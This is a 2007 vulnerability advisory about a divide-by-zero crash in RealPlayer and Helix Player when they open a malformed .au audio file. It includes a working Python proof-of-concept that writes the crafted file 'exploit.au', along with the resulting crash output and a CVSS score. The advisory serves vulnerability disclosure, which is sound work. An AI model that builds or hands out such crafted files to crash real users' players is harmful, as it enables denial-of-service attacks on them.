OS2A_1010.txt

`RealPlayer/HelixPlayer .au Divide-By-Zero Denial of Service Vulnerability  
  
  
OS2A ID: OS2A_1010 08/21/2007 Issue Discovered  
08/31/2007 Vendor Notification  
  
Class: Denial of Service Severity: High  
  
  
Overview:  
-------------  
RealPlayer/Helix Player is a media player that will play popular media formats  
as well as organize your music and videos.  
  
  
Description:  
--------------  
A Denial of Service flaw exists in RealPlayer and HelixPlayer, when a user  
tries to open a malformed .au file. The flaw is due to a Division by Zero error  
when processing a malformed AU file.  
  
An attacker must entice an unsuspecting user to open a maliciously crafted AU  
file.  
  
  
Impact:  
--------  
Successful exploitation allows an attacker to crash a vulnerable application  
via a specially crafted file. (Deny the service).  
  
  
Affected Software(s):  
---------------------  
Realplayer 10.1.0.3114 and prior   
Helixplayer  
  
Tested on :  
- RealPlayer-10.1.0.3114  
- Realplayer-10.0.9   
- Realplayer-10.0.8 on FC6, RH9, RHEL and SuSE respectively  
- Realplayer10-5Gold on Windows XP  
- HelixPlayer-1.0.6.778 on FC6  
  
AV MP3 Player and Media Player Classic are also found to be vulnerable  
  
  
Affected Platform:   
------------------  
Microsoft Windows (All Platform)  
RedHat Linux  
Fedora Core Linux  
SuSE Linux  
  
  
Proof of Concept:  
------------------  
The following Python program will generate a malformed .au file  
  
import sys  
import os  
  
head = ("\x2E\x73\x6E\x64\x00\x00\x01\x18\x02\x01\x42\xDC\x00\x00\x00\x01"+  
  
"\x02\x02\x1F\x40\x00\x00\x00\x00\x00" +  
  
"\x31\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
  
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")  
  
print "[x] RealPlayer/Helix Player/Kaboodle Player DoS"  
  
try:  
f = open("exploit.au",'w')  
except IOError, e:  
print "Unable to open file ", e  
sys.exit(0)  
  
print "[x] File successfully opened for writing."  
try:  
f.write(head)  
except IOError, e:  
print "Unable to write to file ", e  
sys.exit(0)  
print "[x] File successfully written."  
f.close()  
print "[x] Open exploit.au with RealPlayer/Helix/Kaboodle Players."  
  
#End of program  
  
RealPlayer crashes with the following exception,  
Floating point exception$REALPLAYBIN "$@"  
  
CVSS Score Report:  
------------------  
ACCESS_VECTOR = NETWORK  
ACCESS_COMPLEXITY = MEDIUM  
AUTHENTICATION = NOT_REQUIRED  
CONFIDENTIALITY_IMPACT = NONE  
INTEGRITY_IMPACT = NONE  
AVAILABILITY_IMPACT = COMPLETE  
EXPLOITABILITY = PROOF_OF_CONCEPT  
REMEDIATION_LEVEL = UNAVAILABLE  
REPORT_CONFIDENCE = CONFIRMED  
CVSS Base Score = 7.1 (AV:N/AC:M/Au:NR/C:N/I:N/A:C)  
CVSS Temporal Score = 6.4  
Risk factor = High  
  
Reference:   
-----------  
A similar attack was found recently against Windows Media Player,  
http://www.safehack.com/exp/mp/mplayer11.txt  
  
Solution/Work Around:  
--------------------  
Do not open untrusted .au files.  
  
Credits:  
--------  
Nagendra Kumar G, Chandan S and Arun Kethipelly of OS2A have been credited with the discovery of this   
vulnerability.  
`